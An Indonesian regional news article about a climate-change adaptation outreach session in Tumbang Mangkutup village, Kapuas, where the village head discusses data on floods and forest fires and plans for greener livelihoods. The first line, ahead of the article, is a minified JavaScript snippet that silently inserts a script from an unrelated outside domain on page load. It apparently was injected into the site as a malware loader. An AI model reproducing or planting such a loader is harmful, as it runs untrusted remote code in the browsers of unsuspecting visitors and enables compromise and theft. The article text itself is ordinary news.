(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Adaptasi Dampak Perubahan Iklim di Desa Tumbang Mangkutup


KANALKALIMANTAN. COM, KUALA KAPUAS – Mengapa setiap tahun di musim kemarau selalu terjadi kebakaran hutan dan lahan, apa yang menyebabkan dan bagaimana mencegahnya untuk memenuhi kebutuhan hidup apa saja aktivitas atau mata pencaharian di desa.

Hal itu terungkap saat sosialisasi Project CISU-CCAM (Civil Society in Development-Climate Change Adaptation Modality) di balai desa Tumbang Mangkutub, Kecamatan Mantangai, Kabupaten Kapuas, Selasa (22/8/2023).

Kepala Desa (Kades) Tumbang Mangkutub Suriato hadir pada kegiatan ini perangkat desa, petani, nelayan, PNS, buruh dan undangan lainnya.

Baca juga: Alim Ulama dan Masyarakat Banua Menunggu Al Habib Umar Kunjungi Kalsel


Kades Suriato mengatakan, sosialiasi ini adalah salah satu program yang melakukan penggalian data di tingkat masyarakat terhadap pemahaman dan pengetahuan atas perubahan iklim. Kegiatan ini dilaksanakan oleh Yayasan Bos Mawas Kalimantan Tengah.

“Sebelumnya sudah dilakukan sosialisasi terkait proyek ini, dan hari ini merupakan kegiatan tindak-lanjut dari apa yang sudah disosialisasikan sebelumnya,” kata Suriato.

Tujuannya untuk mendapatkan gambaran pemahaman dan pengetahuan masyarakat terhadap perubahan iklim seperti mengapa sering terjadi banjir dan apa saja penyebab-penyebabnya, serta bagaimana cara pencegahan dan penanggulangannya.

Baca juga: Posko Siaga Karhutla di Martapura Barat, Pemadaman Darat Dibantu Jalur Udara

Lebih lanjut Kades Suriato menjelaskan, melalui kegiatan ini telah mendapatkan data dan dapat ditampilkan melalui grafik tingkat bencana banjir dan Karhutla.

“Selain itu kita dapat menganalisa apakah kegiatan aktivitas mata pencaharian warga ini sejauh mana dampak positif dan negatifnya atas kebakaran hutan dan lahan, juga banjir yang selama ini jadi perhatian kita semua,” jelasnya.

Kemudian menjadi acuan dasar dalam menyusun langka rencana kerja Pemerintah Desa Tumbang Mangkutub untuk melakukan program pencegahan dan penanggulangan bencana.

Adapun juga menjadi bagian prioritas untuk Pemerintah Desa Tumbang Mangkutup menjalin kemitraan dengan para pihak sehingga kedepannya terjalin sebuah program bersama.

Baca juga: Kemampuan Olah Kopi Para Barista di Banjarbaru Ditambah

Selanjutnya dari data ini kita dapat melihat mana kegiatan aktivitas yang berdampak resiko untuk mengurangi atau menghentikan kegiatan-kegiatan yang berdampak negatif dan dilarang oleh aturan pemerintah.

“Kita dapat bersama-sama memikirkan program program peralihan mata pencaharian yang ramah lingkungan dan tidak bertentangan dengan hukum atau aturan yang ada,” pungkas Kades Tumbang Mangkutub. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Muhammad Andi

Recent Posts

Jembatan Simpang 3 Lingkar Utara Banjarbaru Ditutup Sampai Akhir Tahun, Begini Pengalihan Lalin ke Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Pengendara yang biasa melewati akses jembatan simpang tiga jalan Lingkar Utara, Kota… Read More

3 jam ago

Pilgub Kalsel 2024 Dipastikan Tanpa Pasangan Non Partai

Pendaftar Jalur Independen Pilkada di Kalsel Hanya 4 Daerah Read More

4 jam ago

Upah Dipotong untuk Tapera, Cuit Soleh Solihun Bikin Pekerja Ketar-ketir

KANALKALIMANTAN.COM, JAKARTA - Publik di platform sosial media tengah ramai membahas perihal pemotongan upah pekerja… Read More

5 jam ago

Kenaikan UKT Ditunda Mahasiswa Jangan Senang Dulu, Menunda Belum Membatalkan!

KANALKALIMANTAN.COM, JAKARTA - Politikus PDI Perjuangan Adian Napitupulu menyebut mahasiswa telah berhasil membuat semua orang… Read More

5 jam ago

Ikuti Bimtek ke Jakarta, Duta dan Kader Digital Audiensi ke Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Suasana akrab terlihat di Mahligai Sultan Adam, Martapura ketika Duta dan Kader… Read More

7 jam ago

This website uses cookies.